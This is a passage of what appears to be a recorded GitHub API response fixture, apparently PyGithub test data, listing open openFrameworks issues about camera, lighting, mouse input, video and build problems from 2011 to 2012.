Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofCamera::setPan is broken","html_url":"https://github.com/openframeworks/openFrameworks/issues/413","comments":1,"assignee":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-14T15:11:06Z","body":"","number":413,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/413","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":539915,"closed_at":null,"created_at":"2011-01-20T20:01:00Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"add setMultisampling method to glutWindow","html_url":"https://github.com/openframeworks/openFrameworks/issues/412","comments":0,"assignee":null,"updated_at":"2011-01-20T19:33:30Z","body":"multisampling is now working in linux through the display string option. perhaps we could add a method to easily set it if it also works on win/osx","number":412,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"244569","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows"}],"id":539845,"closed_at":null,"created_at":"2011-01-20T19:33:30Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofCamera / ofEasyCamera does not work correctly for iPhone / iPad","html_url":"https://github.com/openframeworks/openFrameworks/issues/410","comments":2,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-14T15:11:06Z","body":"Needs to take into account the rotation and the flipping happening in ofAppiPhoneWindow::timerLoop() \n\nAlso the internal call to ofViewport causes clipping in horizontal mode. \n\nIts currently very difficult to setup the camera correctly for iPad / iPhone - would be great if the default for ofCamera would be to start with the typical OF camera view. ","number":410,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/410","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":539744,"closed_at":null,"created_at":"2011-01-20T18:59:10Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofEnableLighting","html_url":"https://github.com/openframeworks/openFrameworks/issues/406","comments":0,"assignee":null,"updated_at":"2011-01-19T19:39:37Z","body":"ofLight bug not sure what the ios equivalent is..\r\n\r\nglColorMaterial(GL_FRONT_AND_BACK, GL_AMBIENT_AND_DIFFUSE); is not supported in IOS","number":406,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":537416,"closed_at":null,"created_at":"2011-01-19T19:39:36Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofViewport doesn't match rest of openFrameworks coordinates","html_url":"https://github.com/openframeworks/openFrameworks/issues/405","comments":0,"assignee":null,"updated_at":"2011-01-19T13:24:54Z","body":"Suggest change line 126 of ofGraphics.h to\r\n\tglViewport(x, ofGetHeight() - y - height, width, height);\r\n\r\nto be in line with rest of openFrameworks coordinate system\r\ne.g. ofRect(myRect) matches ofViewport(myRect)\r\n","number":405,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":536614,"closed_at":null,"created_at":"2011-01-19T13:24:53Z"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=12 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4932'), ('content-length', '38352'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"679d499a026b6f6d6a1e20857a7392dc"'), ('date', 'Tue, 29 May 2012 19:27:21 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-01-17T23:39:31Z","body":"it should be only in the implementations and queried by the grabber/player in case an implementation doesn't support a format if not the app can crash or have really weird results","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403","comments":0,"milestone":null,"number":403,"html_url":"https://github.com/openframeworks/openFrameworks/issues/403","assignee":null,"title":"setPixelFormat shouldn't be stored in videoGrabber/Player","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-17T23:39:31Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":532954,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-17T16:37:42Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400","comments":0,"milestone":null,"number":400,"html_url":"https://github.com/openframeworks/openFrameworks/issues/400","assignee":null,"title":"ofTTF should have setAnchorPercent so you can draw strings centered, right aligned etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-01-17T16:37:42Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":532096,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-20T17:33:14Z","body":"every frame, it should update the pmouse value. so if you don't move the mouse, the pmouse value is equal to the current value.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391","comments":1,"milestone":null,"number":391,"html_url":"https://github.com/openframeworks/openFrameworks/issues/391","assignee":null,"title":"ofGetPreviousMouseX/Y() does not update per frame","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T07:21:15Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":529705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-20T17:32:59Z","body":"this is a limitation to glut, but it might be hackable on each system separately.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389","comments":1,"milestone":null,"number":389,"html_url":"https://github.com/openframeworks/openFrameworks/issues/389","assignee":null,"title":"mouse position doesn't update until mouse is moved","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T07:11:53Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":529700,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-13T21:10:48Z","body":"following error appears when i try to load an image; commenting out the call to loadImage(\"...\") makes the error go away.\n\n Undefined symbols:\n \"std::basic_ostream >& std::__ostream_insert >(std::basic_ostream >&, char const*, int)\", \n referenced from:\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n\nld: symbol(s) not found\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387","comments":1,"milestone":null,"number":387,"html_url":"https://github.com/openframeworks/openFrameworks/issues/387","assignee":null,"title":"Linker error when loading image (Poco::Net related?)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T05:57:51Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"id":529646,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T17:01:08Z","body":"would be nice if it was a float (0-1) and not an int(0-100) for standardization with every other audio thing in the universe aside from quicktime","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/375","comments":2,"milestone":null,"number":375,"html_url":"https://github.com/openframeworks/openFrameworks/issues/375","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofVideoPlayer setVolume uses an int","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-01-15T23:03:57Z","state":"open","user":{"url":"https://api.github.com/users/stfj","gravatar_id":"b089227a1748a2d70cdfc4ef00b325ad","login":"stfj","avatar_url":"https://secure.gravatar.com/avatar/b089227a1748a2d70cdfc4ef00b325ad?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":177578},"id":529268,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-14T19:30:31Z","body":"glDrawBitmapString doesn't work when GL_LIGHTING is enabled.\r\n\r\nwell, it works... but it is black because it isn't reflecting any light. regardless of the ofSetColor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357","comments":0,"milestone":null,"number":357,"html_url":"https://github.com/openframeworks/openFrameworks/issues/357","assignee":null,"title":"glDrawBitmapString vs GL_LIGHTING","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-14T19:30:31Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":527591,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-14T01:33:38Z","body":"some of the core functions only work with 2d points, others only with 3d points, some work with both. but they all take ofPoints.\r\n\r\nit's good for teaching purposes to have ofPoints because you don't have to explain what a 'vector' is, but it's unclear for advanced users whether the functions take 2d or 3d points...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347","comments":0,"milestone":null,"number":347,"html_url":"https://github.com/openframeworks/openFrameworks/issues/347","assignee":null,"title":"none of the core functions report how many dimensions they work for","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-01-14T01:33:38Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":526094,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-13T16:16:40Z","body":"e.g., GL_DEPTH_TEST.\r\n\r\none of the reasons for this is that it's not obvious to newbies what common features are available.\r\n\r\nanother is that i've seen lots of people write GL_DEPTH instead, which obviously doesn't work.\r\n\r\nthere might be some others too, see processing's hint():\r\n\r\nhttp://processing.org/reference/hint_.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/340","comments":0,"milestone":null,"number":340,"html_url":"https://github.com/openframeworks/openFrameworks/issues/340","assignee":null,"title":"OF wrapper for basic gl functions that aren't intuitive to newbies","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2011-01-13T16:16:40Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":524875,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-27T13:35:42Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":337,"html_url":"https://github.com/openframeworks/openFrameworks/issues/337","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"ofFileDialog allow folder selection ( works on os x ) needs code for win and linux","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-13T05:21:53Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":523837,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:06Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/330","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":330,"html_url":"https://github.com/openframeworks/openFrameworks/issues/330","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"title":"OpenCv 2.2 for Win ( CB and VS )","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":null,"created_at":"2011-01-12T19:09:37Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":522789,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-04T14:06:34Z","body":"currentStyle stores everything about the current style, so it can be used rather than things like drawMode for tracking how things should currently be draw.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/325","comments":1,"milestone":null,"number":325,"html_url":"https://github.com/openframeworks/openFrameworks/issues/325","assignee":null,"title":"drawMode can be deprecated, currentStyle.bFill should be used instead","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-12T15:41:11Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":522255,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-12T15:34:48Z","body":"ordering for code completion is a little weird.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/324","comments":0,"milestone":null,"number":324,"html_url":"https://github.com/openframeworks/openFrameworks/issues/324","assignee":null,"title":"ofPushView/ofPopView appear before ofPushMatrix/ofPopMatrix","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":null,"created_at":"2011-01-12T15:34:48Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":522231,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-10T22:30:48Z","body":"under the /video directory","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/311","comments":0,"milestone":null,"number":311,"html_url":"https://github.com/openframeworks/openFrameworks/issues/311","assignee":null,"title":"openFrameworksLib has ofQtUtils included twice","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-10T22:30:48Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":518434,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-10T06:36:27Z","body":"better to use aggregation (helper classes/functions) if necessary for common functionality that have implementation in those classes. making them pure abstract classes will avoid problems with multiple inheritance and easier to extend in case of different behaviour","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305","comments":0,"milestone":null,"number":305,"html_url":"https://github.com/openframeworks/openFrameworks/issues/305","assignee":null,"title":"no implementation in ofBaseTypes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-10T06:36:27Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":516844,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:59:59Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":302,"html_url":"https://github.com/openframeworks/openFrameworks/issues/302","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Remove Poco CppUnit from all projects ( done on os x 